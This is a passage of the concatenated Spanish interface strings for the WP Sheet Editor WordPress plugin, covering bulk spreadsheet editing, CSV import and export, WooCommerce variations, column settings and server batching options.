WordPressMenúClaves meta que deben utilizar el administrador de campos serializados infinitosMeta: %sMicrosoft Excel (Office 365)Tipo de MIMEMisceláneaColumnas faltantesFalta el número y la unidad de tiempo.Parámetros faltantes.Falta el post type o la column_key (clave de la columna)Falta el post type, old_column_key, o new_column_key; o la clave antigua y la clave nueva son iguales."Datos" del campo requerido faltantes.Campo requerido faltante. Por favor, inicia el proceso de nuevo.Fecha de modificaciónFecha de Modificación (GMT)Celdas modificadasFilas modificadasMesesMás opcionesMover todos tus borradores a posts publicados o a cualquier otro estadoMover cientos de entradas a la papeleraDesplegable de selección múltipleMúsicaMi licenciaNO CONTIENENo Contiene esta palabra claveNombreNombre de esta exportaciónNombre de esta exportación (opcional)¿Necesitas ayuda?¿Necesitas ayuda? Consulta nuestros tutoriales¿Necesitas ayuda? ContáctanosNueva Hoja de CálculoNuevo menú desplegable de selección múltiple (predeterminado)Se añadieron nuevas filasNuevo valorSiguienteNoNo se han encontrado artículos.No hay más filas disponibles.No hay opciones disponiblesNo hay filas disponibles para la página actual.No se han encontrado filas que coincidan con los parámetros de búsqueda. Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente.No se han encontrado taxonomías.No, eliminar todo lo que aparece después del texto, sin incluir el textoCelda normalNo está permitido.No permitido. Por favor, inicia el proceso de nuevo.No encontradoNo se encontró en la PapeleraNota. Esta no es una característica de seguridad, el usuario puede editar todos los campos en el editor normal basado en el rol. Esta opción es por conveniencia, para que los usuarios puedan solo ver las columnas que necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, podrán cambiar entre todas las vistas existentesNota: Separa los valores con el caracter %1$s
                  Te recomendamos usar Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la variación debe estar habilitada. De lo contrario, los atributos no se guardarán.Nota: Separa los valores con este carácter: %s.
                  El producto debe ser variable y tener variaciones existentes para que esto funcione. De lo contrario los atributos por defecto no serán guardados.NúmeroNúmero de decimalesNúmero de filas a procesar por lote:OKAutocompletado de selección simple antiguoSlug antiguoVersiones más antiguas de Microsoft ExcelUn correo electrónico por usuario significa que si 3 filas tienen la misma dirección de correo electrónico, sólo una fila activará un correo electrónico y las demás se omitirán. Un correo electrónico por fila significa que si 3 filas tienen la misma dirección de correo electrónico, enviaremos 3 correos electrónicos a la misma dirección (uno por fila).Una fila de variación tiene un producto padre que no existe. La columna "padre" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva importaciónSolo los administradores pueden enviar correos electrónicos a los usuarios.Copiar solo las variaciones nuevasSólo crear las filas nuevas, ignorar las filas existentesSólo para usuarios avanzados. Leer más.¿Sólo se puede enviar un correo electrónico por dirección?Oops, no encontramos nada.Abrir la Página de AjustesAbrir en una Hoja de CálculoAbrir el Editor de Hojas de CálculoOperadorOrdenOtroOtras extensionesFunción PHPPágina PadrePáginasPadreHoja de Cálculo Padre:ContraseñaPega los ajustes aquí (el contenido del archivo exportado). Notas:Pegar con el teclado: Ctrl+VPausarLos receptores responderán a esta dirección de correo electrónicoEstado del pingModo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda está vacío)Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, guárdalos o serán descartados.Por favor, corrige el error y guarda de nuevo.Por favor, corrige el error en el archivo e inicia una nueva importación. Puedes usar las "Opciones avanzadas" en el paso 1 de la importación para empezar desde esta fila específica.Ingresa el asunto y el mensaje del correo electrónico.Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas por comas.Por favor, indica cuáles términos quieres remover.Por favor, haz una copia de seguridad de tu base de datos antes de importar para estar más seguro.Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa la herramienta "Buscar" en la barra superior).Por favor, selecciona un producto.Por favor, selecciona un producto de origen.Por favor, selecciona al menos una columna a importarPor favor, selecciona un color de fondoPor favor, selecciona el post type y guarda los cambios. Después de guardar los cambios, podrás ver el resto de los ajustes e instrucciones.Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Esta función requiere la última versión de todos nuestros plugins.Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Las características del plugin "PosiciónDesplegable de postsPost typeHojas de CálculoHoja de CálculoDatos del postMeta del post (es decir, metaboxes)Términos del post (es decir, categorías)Post typePost type eliminadoPost type(s)Tipos de posts creados con WP Sheet EditorEntradasAñadir al inicioPrevisualizar el Editor FrontendAnteriorMenú PrincipalProProcesando...Procesando: Se han exportado %1$d de %2$d filas.Atributos del productoAtributos de producto no usados para las variacionesAtributos de producto no visiblesGalería del productoPromoción. Ahorra %d%% solo hoy. Nota de compraRespuestas rápidasBúsqueda rápidaAjustes rápidosREGEXPRaw HTMLLas columnas de sólo lectura mostrarán un candado y no será posible editarlas en ninguna parte de la hoja de cálculo. Esto no es una característica de seguridad porque la gente todavía puede editar en las pantallas normales de WP.Realinear celdasPrecio normalPrecio normal¿Recordar esta configuración de columnas para futuras importaciones?Eliminar todos los filtrosQuitar la columna completamente. Si quieres usarla más tarde, puedes deshabilitarla arrastrando y soltando a la columna de la derechaEliminar duplicadosBorrar duplicados por SKU (borrar los más nuevos)Borrar duplicados por SKU (borrar los más viejos)Borrar los duplicados por título (quitar los más nuevos)Borrar los duplicados por título (quitar los más antiguos)Borrar duplicados por título (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más antiguos)Eliminar todo lo que aparece después de un textoEliminar todo lo que aparece después de este textoEliminar todo lo que aparece antes de un textoEliminar todo lo que aparece antes de estoEliminar imagen destacada¿Ocultar los mensajes de ayuda de las celdas?Remover términos de los postsEliminar el valor existente y dejar el campo vacío. Leer más¿Quitar también el texto de arriba?¿Eliminar el texto también?Renombrar columnaReemplazarReemplazar un término de atributo por defectoReemplazar un archivo multimedia por otro archivoReemplaza una palabra, frase o número con un nuevo valor. Leer másReemplazar el valor existente por un valor aleatorio de esta lista. Ingresa los valores separándolos con | si quieres seleccionar de una lista predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar cualquier fecha de ese rango.Reemplazar el valor existente por este valor. Leer másReemplazar los shortcodes viejos por shortcodes nuevos en todos tus postsReemplazar algún/algunos término(s) con término(s) nuevo(s). Leer másReemplazar estos archivosReemplazar estoReemplazar este archivoReemplazar este términoReemplazar palabras o frases en los títulos, contenido u otros campos de tus postsResponder aSolicitud no permitida. Inténtalo más tarde.Restablecer los ajustesRedimensionar las columnas en base a los valoresRestaurar columnas eliminadasRecuento de valoracionesFilaFila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu CSV utiliza el nombre correcto en la columna Post type.Fila: %d. No tienes suficientes permisos para borrar este post.Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el nombre correcto en la columna "Tipo de post" o "Post Type".FilasFilas eliminadas con éxitoLas filas que he seleccionado manualmente en la hoja de cálculoEjecutar búsquedaSEOURL Canónica de SEODescripción SEODescripción SEO para FacebookImagen SEO para FacebookTítulo SEO para FacebookPalabra clave de SEOSEO - No indexar%s SEO PrimarioDescripción SEO para TwitterImagen SEO para TwitterTítulo SEO para TwitterTítulo SEOSKUINICIA CONPrecio rebajadoFecha final del precio rebajadoPrecio rebajadoFechas del precio rebajadoFecha inicial del precio rebajadoFecha inicial del precio rebajadoFecha final del precio rebajadoIgual que el post type de la hoja de cálculoIgual que la taxonomía de la hoja de cálculoGuardarGuardar y continuarGuardar cambiosGuardar los cambios y editar el siguiente postGuardar los cambios y editar el post anteriorGuarda los cambios más rápido: Número de filas a guardar por loteGuárdalos como un array serializado¿Guardar estos ajustes para sesiones futuras?Guardar esta búsquedaExportaciones guardadasBúsquedas guardadasGuárdalos separados por comasGuardado: %sGuardando cambios, por favor no cierres esta página.Escanear la BD para encontrar camposEscanear AhoraEscaneando variaciones a crear. Se han procesado {updated} productos de {total} productos.BuscarBuscar Hoja de Cálculo¿Buscar variaciones?Seguridad y roles de usuario (opcional)Seleccionar columnas habilitadasSeleccionar todasSeleccionar todos los productos de una búsquedaSelecciona la columna....Selecciona las columnas a importarSeleccionar columnas individuales a importarSeleccionar productos individualesSeleccionar producto....Selecciona el formato de las celdas, si las celdas deben ser de texto normal, un cargador de archivos o un editor de texto.Selecciona la información que quieres editar con el editor de hojas de cálculo.Selecciona el tipo de información utilizada en las celdas de esta columna.Selecciona las filas que quieres editar.Selecciona el tipo de ediciónSeleccionar...Enviar correo electrónicoEnviar un correo electrónico por filaEnviar un correo electrónico por usuarioSeparados por comasSeparadorSeparador de celdas de términos de taxonomíaArray serializadoEstablecer imagen destacadaConfigurar cientos de productos a la vez como sin existencias o en existencias¿Guardar con estado "Pendiente" si el guardado de la imagen destacada falló?Establecer valor aleatorioPonerle la misma imagen destacada a todos los posts de una categoríaGenerar hoja de cálculoEstablecer valorAjustesConfigurar página en el frontendGenerar hoja de cálculoSheet EditorClase de envíoDescripción cortaMostrar opciones avanzadasMostrar opciones avanzadas ¿Mostrar todos los estados de posts personalizados?Mostrar las celdas como texto simpleMostrar la clave de la columnaMostrar elementos publicados entre estas fechasMostrando las filas de la última sesión.Texto simpleDesplegable de selección simple¿Omitir las imágenes rotas?SlugVendido individualmenteSolución de errores rarosAlgunos cambios no han sido guardados todavía.Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de destino deben usar los mismos plugins para que tengas las mismas columnasAlgunos plugins requieren compatibilidad especial y hemos creado estas extensiones que puedes descargar gratuitamente si compraste nuestro plugin.Algunos plugins ejecutan una tarea después de crear o actualizar una entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus perfiles sociales, otros plugins notifican a los usuarios después de que una entrada es actualizada, etc. Puede que haya un problema con esos plugins. Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes terminar con 100 tweets compartidos en tu cuenta de twitter. Así que habilita esta opción si quieres actualizar / crear posts silenciosamente sin ejecutar esas funciones.Algunas filas fueron modificadas en segundo plano. Por favor, guarda los cambios y recarga la hoja de cálculo para ver los cambios.Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios antes de usar esta función.OrdenarOrdenar alfabéticamente ASCOrdenar alfabéticamente DESCFuenteVelocidad y rendimientoArchivos de la Hoja de CálculoAtributos de la Hoja de CálculoHoja de cálculo para %s %sVista de hojas de cálculoHojas de cálculo habilitadas para estos post typesLista de hojas de cálculoNavegación por la lista de hojas de cálculoProducto estándarComenzar desde este número de fila:Iniciar nueva exportaciónEstadoInventarioEstado del inventarioEl rol de suscriptor no está autorizado para utilizar el editor.¿Suspender la invalidación de la caché de objetos?EtiquetasEtiquetas (separadas por comas)Productos de destino no encontrados.Las columnas de taxonomía como las categorías de las entradas, las etiquetas de las entradas, etc. muestran los términos separados por comas, si usas comas en los nombres de las taxonomías, usa esta opción para cambiar el separadorDesplegado de taxonomíasMenú desplegable de taxonomías. Sólo si la fuente de datos = Términos del post.Desplegable de términos de taxonomíaEl elemento de la plantilla con ID %d no se ha encontrado o no se puede duplicar.ID del términoTérminosTextoEditor de texto (tinymce)Gracias por actualizar a la nueva versión del plugin.Gracias por usar nuestro editor de hojas de cálculoLa herramienta "Crear variaciones" te permite crear variaciones basadas en la combinación de atributos. El límite por defecto es de 200 variaciones para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas más variaciones.La columna "Precio normal" está oculta. Actívala en el gestor de columnas antes de realizar esta edición masiva.La función "Editor Masivo" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:La Hoja de cálculo está lista.La hoja de cálculo de productos de WooCommerce genera automáticamente las unidades de inventario y las estadísticas de precios de inventario y muestra las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja si tienes varios miles de productos. Desactívalo si la hoja de cálculo es demasiado lenta o ves errores al cargar las filas.El guardado automático falló: El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El cambio masivo ha sido editado con éxitoEl cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los cambios?A la edición masiva le falta información importante, por favor, completa el formulario.El cambio masivo se está ejecutando. Por favor, no cierres esta ventana hasta que el proceso haya terminado.El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana.La celda mostrará los valores como URLs y puedes editar en las celdas usando URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs externas se importan automáticamente en la biblioteca multimedia.
                  Guardaremos el valor en el formato seleccionado aquíLos cambios que estás a punto de realizar no son reversiblesLos cambios que estás a punto de realizar son irreversibles. Debes hacer una copia de seguridad de tu base de datos antes de proceder.Nombre de la columna que se muestra en la hoja de cálculoLa columna seleccionada no es válida.La columna aparecerá en la hoja de cálculo y en las exportaciones si el usuario tiene un rol con la capacidad requerida.La columna puede ser leía solo si el usuario no tiene un rol con la capacidad requerida.La forma predeterminada usa un método de ejecución más rápido, pero puede que no funcione en todos los casos. Usa esta opción cuando la forma predeterminada no funciona o no actualiza todas las filas.El editor sólo está disponible para usuarios registrados. Los usuarios desconocidos verán un formulario de inicio de sesión.Las variaciones existentes en los productos de destino no serán editadas ni sobrescritas.La función de exportación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La exportación ha sido editada con éxitoEl archivo exportado no existe. Esto puede ocurrir por las siguientes razones:El archivo no existe. Ruta inválida: %sLos archivos no se pudieron guardar.La función de importación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La importación ha sido editada con éxitoLa importación se ha completado.La importación sobrescribirá los ajustes existentes.El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro momento.Clave que se utilizará para guardar la información en la base de datos. Debe ser única, sólo letras y guiones bajos.El último lote de importación falló debido a un error del servidor, es más probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva importación, a veces intentarlo de nuevo funciona (usa los "Ajustes avanzados" en el paso 1 de la importación para empezar desde una fila específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos.La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu archivo.La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el proceso haya terminado.
                  2. Puedes El archivo de registro no existe.No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no es numérico. Datos encontrados: %1$s, ID: %2$dEl campo meta no pudo ser eliminado.El campo meta fue eliminado con éxitoLa clave meta no pudo ser renombrada.La clave meta fue renombrada con éxitoLa opción de crear variaciones para cada combinación de atributos requiere WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce.El plugin marcará como usados para variaciones todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin marcará como visibles todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin no se inicializará para los roles de usuario no seleccionados aquí.La vista previa está bien, iniciar importaciónLos valores aleatorios no pudieron ser leídos.El parámetro de búsqueda debe contener $current_value$ solamenteEl producto seleccionado no tiene variacionesEl servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de nuevo más tarde.El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta actualizar la página e inténtalo de nuevo.El servidor no aceptó nuestra petición. No tienes permisos para realizar esta acción. Por favor, inicia sesión de nuevo.El servidor ha excedido sus recursos asignados y no puede procesar nuestra solicitud.El servidor está ocupado y tardó demasiado en responder a nuestra petición. Por favor, inténtalo de nuevo más tarde.El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El servidor no está disponible o está sobrecargado. Por favor, inténtalo de nuevo más tarde.El servidor no pudo procesar nuestra petición. Error del servidor. Por favor, inténtalo de nuevo más tarde.El producto fuente no tiene variaciones.La hoja de cálculo genera automáticamente columnas para los campos serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del número de campos serializados. Puedes deshabilitar esta característica si la hoja es demasiado lenta para cargar o si obtienes errores al cargar las filas o no quieres ver las columnas con el prefijo "SEIS".El editor de hojas de cálculo puede ser usado para editar tus %s de WordPress.El editor de hojas de cálculo es muy potente y tiene muchas características. En este paso puedes habilitar las funciones que necesites.La hoja de cálculo carga sólo las "filas visibles" por razones de rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las filas se cargan dinámicamente. De esta manera puedes "abrir" miles de posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres usar la búsqueda del navegador para encontrar una celda específica, necesitas deshabilitar la carga perezosa para cargar todas las filas a la vez y el navegador será capaz de encontrar las celdas. La búsqueda en el navegador no funciona por defecto porque sólo se crean las "filas visibles".Las variaciones son para este/estos producto(s): Estas opciones serán incluidas en la exportación e importación:Esto se puede utilizar si el valor de la celda será siempre una URL, por lo que la celda se mostrará como de sólo lectura y contendrá un botón que abrirá la URL a partir del valor de la celda.Este color se utilizará como fondo para el encabezado y el pie de página.Este color se utilizará para los enlaces del menú, debe ser el opuesto del color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con texto oscuroEsta columna es sólo para los productos padre, las variaciones no usan este campoEsta columna es sólo para las filas de variaciones, los productos padre no usan este campoEsta función está disponible como una extensión premium.Este formato sólo permitirá a los administradores con la capacidad unfiltered_html guardar cualquier HTML en esta columna, seguiremos eliminando las etiquetas html no seguras cuando los no administradores guarden valores en esta columna.Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide que uses esta opción. Tenemos dos maneras de manejar los campos serializados: el antiguo controlador (usado por defecto, que tiene limitaciones) y el controlador de serialización infinita (mejor, no está activo por defecto para no romper integraciones anteriores). Utiliza esta opción si tienes campos serializados que se guardan incorrectamente o no aparecen en la hoja de cálculo.Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa varios nombres separados por comas.Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo en la herramienta de edición masivaEste logotipo se mostrará encima de la hoja de cálculo en el frontendEste menú se mostrará en la parte superior derecha de la hoja de cálculo.Esto puede ayudar si la hoja de cálculo no carga filas o si las filas aparecen vacías.Esta opción te permite indicar qué posts utilizar como plantillas para campos serializados específicos. Ingresa la clave del campo y el ID del post separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90Esta opción aplica solo si estás importando la columna de imagen destacada y falla el guardado de la imagen.Esto se mostrará cuando el usuario actual no esté conectado e intente ver una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión después del mensaje.Esto borrará las filas de tu base de datos completamente y la única manera de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz una copia de seguridad en caso de que puedas necesitar deshacer esto después.Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá todas las tareas de sincronización configuradas con esa cuenta de Google en todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar su propia cuenta de Google, por lo que las tareas de sincronización de otros usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. ¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?Esto ocultará la opción "ayuda" de la barra de herramientas superiorEsto te ahorrará {clicks_count} clics :)Separador de milesTiempo ahorrado
                  (estimado)Unidad de tiempoEditor TinyMCEConsejo. Si has editado información de este sitio, debes importar las columnas editadas y el record_id. No importes columnas que no hayan sido modificadasConsejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén ayuda instantánea en el chat en vivo en horas de oficina.Consejo. Puedes usar la herramienta "Exportar" para descargar un archivo CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí.TítuloPara buscar entre todos los posts, usa la herramienta de búsqueda. Se usa para localizar y resaltar un valor en las filas cargadas en la hoja de cálculo. Es decir, resaltar un SKU, correo electrónico o título específico.Herramientas sobre la tabla.Ventas totalesTraducir por separadoHabilita esto y la hoja de cálculo guardará los cambios hechos en las celdas cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se guardan prematuramente antes que termines de editar todas las columnas requeridas.TutorialTipoURLURL SlugHTML sin filtrarDeseleccionar todasDeseleccionar todas las columnasActualizar las filas existentes, ignorar las filas nuevasActualiza el valor existente con el resultado de una operación matemática.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Actualizar ajustes¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de WooCommerce?Subir imagenSubir el archivoSubir los archivosSubido por este usuarioSubido a este elementoVentas dirigidasEstadísticas de usoUsar una lista infinita en lugar de la paginaciónUsar como imagen destacadaUsar por defecto¿Usar la paginación en la hoja de cálculo?Usar los precios del producto simple (Padre) para las variaciones¿Usar columnas separadas para las imágenes durante la exportación e importación?¿Usar un método de ejecución más lento?Usa este editor para editar sólo el contenido, otros campos como etiquetas y categorías deben ser editados en la hoja de cálculo.¿Usado para variaciones?¿Usado para variaciones?Capacidades de usuario que pueden leer esta columnaCapacidades del usuario que pueden leer esta columnaDesplegable de usuarioUsuario no autorizadoUsuario no autorizado para editar las filasRoles de usuarioRoles de usuario que pueden utilizar el editor de hojas de cálculoNombre de usuarioUsuariosUsando esta herramienta puedes editar miles de filas a la vezValorEl valor en la sección de reemplazo no es válidoDescripción de la variación¿Variación habilitada?Variación: %sGestor de VariacionesLas variaciones no usan URL slugs pero esto puede ser útil si quieres ver la URL anterior de la variación después de convertir un producto simple en una variación.VendedorVerVer ExtensionesVer GaleríaVer la Hoja de CálculoVer las Hojas de CálculoVer extensionesVer registroVirtualVisibilidadEditor de WPWP Sheet EditorUso de WP Sheet EditorWPBakery Page BuilderWPML - DuplicarWPML - IdiomaWPML - Faltan traducciones en estos idiomasWPML - RelaciónWPML - Traducción deWPML - Prioridad de traducciónAdvertencia: Por favor, haz una copia de seguridad en caso de que quieras deshacer los cambios después.Ver tutorialEstamos guardando ahora. No cierres esta ventana hasta que el proceso haya terminado.Automáticamente, permitimos la edición de columnas en filas de variaciones si al menos una variación usa ese campo.Detectamos todas las columnas automáticamenteRedondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número aquí, por ejemplo, 1 para redondear a 1 decimalPodemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente para los campos soportados.No encontramos filas a exportar. Por favor, intenta con otra búsqueda.No encontramos filas a actualizar a partir de la consulta de búsqueda. Por favor, intenta otra búsqueda.No encontramos variaciones para copiar.Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo en WP.
                  Por ejemplo, productos con el mismo SKU o ID.Encontramos columnas similares. ¿Quieres aplicarles la misma acción? {columns}Tenemos CIENTOS de tutoriales y guías en nuestro blogTenemos una extensión para mostrar esta hoja de cálculo en el frontend. Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, importación, exportación, etc.). Por ejemplo:Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de segundos). Cuando un lote falla, normalmente pausamos la importación y te preguntamos si quieres volver a intentarlo o cancelar la importación. Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay que seleccionar la opción de actualizar las filas existentes en el paso 3 de la importación, para que podamos reintentar y omitir lo que se importó con éxito y sólo reintentar lo que falló. Si no se selecciona la opción de actualizar en el paso 3 de la importación, cada reintento podría duplicar algunas filas previamente importadas.Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de memoria/problemas de rendimiento. Si quieres buscar por un campo que no aparece en el desplegable, aumenta este número.Limitamos las columnas de la hoja de cálculo por razones de rendimiento para evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este límite si quieres visualizar más columnas. Predeterminado: 310Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Necesitamos recargar las filas de la hoja de cálculo para cargar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Te recomendamos que crees un mensaje que parezca escrito personalmente, debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes utilizar variables para insertar el valor de cualquier columna.Mostramos una ventana emergente pidiéndote que instales extensiones gratuitas cuando detectamos que estás utilizando un plugin de terceros que requiere una compatibilidad especial, lo que nos ayuda a evitar errores.Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar este número para cargar más filas por página. CUIDADO. Cargar más de 200 filas por página podría sobrecargar tu servidor. Si detectamos que el servidor está sobrecargado, automáticamente se restablecerá a 10 filas por página.Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que te desplazas hacia abajo). Puedes aumentar el número para cargar más filas cada vez que te desplazas hacia abajo.Añadiremos el nuevo archivo al inicio de los archivos existentes en los productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs separadas por comas.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) existente(s).Crearemos columnas para estos atributos personalizados.Borraremos este campo meta de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la eliminación?Borraremos este campo serializado, incluyendo todos sus subcampos, de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurar en el futuro. ¿Quieres continuar con la eliminación?Mostraremos todas las columnas que fueron borradas o deshabilitadas, las columnas renombradas mostrarán los títulos originales, volveremos a escanear la base de datos para encontrar las columnas de nuevo, y los ajustes avanzados y de velocidad se restablecerá a los valores predeterminados. Esto sólo afecta a la configuración de nuestro plugin y no afecta a los datos editados con la hoja de cálculo.No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan los saltos de línea, por lo que es posible que veas filas duplicadas en los archivos de exportación en casos excepcionales.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) multimedia existente(s).Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para permitir etiquetas html seguras, como b, span, i, etc.Reemplazaremos el archivo multimedia existente con este archivo.Reemplazaremos el/los archivo(s) multimedia existentes con este/estos archivo(s).Sustituiremos los términos existentes por estos términos.Guardaremos la consulta de búsqueda actual y la configuración de la exportación, y podrás ejecutar esta exportación con un solo clic en el futuro usando el desplegable del menú de exportaciónGuardaremos estos archivos. Los archivos existentes se sobrescribirán. Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas por comas.Guardaremos este grupo de columnas como una vista de la hoja de cálculo y podrás cambiar entre vistas en la barra de herramientasRecargaremos la hoja de cálculo cuando cambies esta opción.Ordenaremos las filas de la hoja de cálculo según este campo. Te recomendamos ordenar por campos que tengan valores en todas las filas para obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos por Título ASC porque sabes que todas las filas se ordenarán con precisión, pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya que no tenemos ningún valor para ordenarlas con precisión.SemanasPeso (kg)Bienvenido a WP Sheet Editor¿Qué aplicación usarás para editar este archivo CSV? (opcional)¿Qué atributo quieres editar?¿Qué formato de celda se debe utilizar para las columnas de taxonomía?¿Qué columnas quieres exportar?¿Qué componente necesitas?¿Qué formato de fecha quieres mostrar en la hoja de cálculo?¿Qué formato de fecha quieres guardar en la base de datos?¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?¿Qué campo quieres editar?¿Qué información quieres editar en el frontend?¿Qué post types requieren esta columna en la hoja de cálculo?¿Qué ajuste quieres cambiar?¿Qué valor se guarda cuando la casilla de verificación está marcada?¿Qué valor se guarda cuando la casilla de verificación está desmarcada?Novedades en WP Sheet EditorCuando se carga la hoja de cálculo y guarda el contenido de las filas, la ejecutamos a través de wpautop para evitar problemas de saltos de línea. Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el contenido.Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes la opción de salir del modo de pantalla completa. Habilita esta opción y no abriremos la hoja en pantalla completa.Cuando esta opción está habilitada, se cargarán más elementos en la parte inferior de la hoja de cálculo cuando llegues al final de la páginaCuando esta opción está habilitada, se cargarán más filas en la parte inferior de la hoja de cálculo cuando llegues al final de la página. También puedes habilitar/deshabilitar en la hoja de cálculo.Cuando esta opción está habilitada, las variaciones de los productos se mostrarán y podrás editarlas.Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. Predeterminado: 500Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. Pero tu servidor no puede manejar todos los lotes uno tras otro, así que necesitamos esperar unos segundos después de cada lote para darle a tu servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías aumentar el número para dar a tu servidor un descanso más largo después de cada lote.Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al guardar, deberías reducir el númeroCuando termines de descargar los plugins, tienes que ir a wp-admin > plugins > añadir nuevo e instalarlos.Cuando termines este paso puedes empezar a usar el editor frontend. Puedes añadir la página frontend a un menú o compartir el enlace con tus usuarios.Cuando 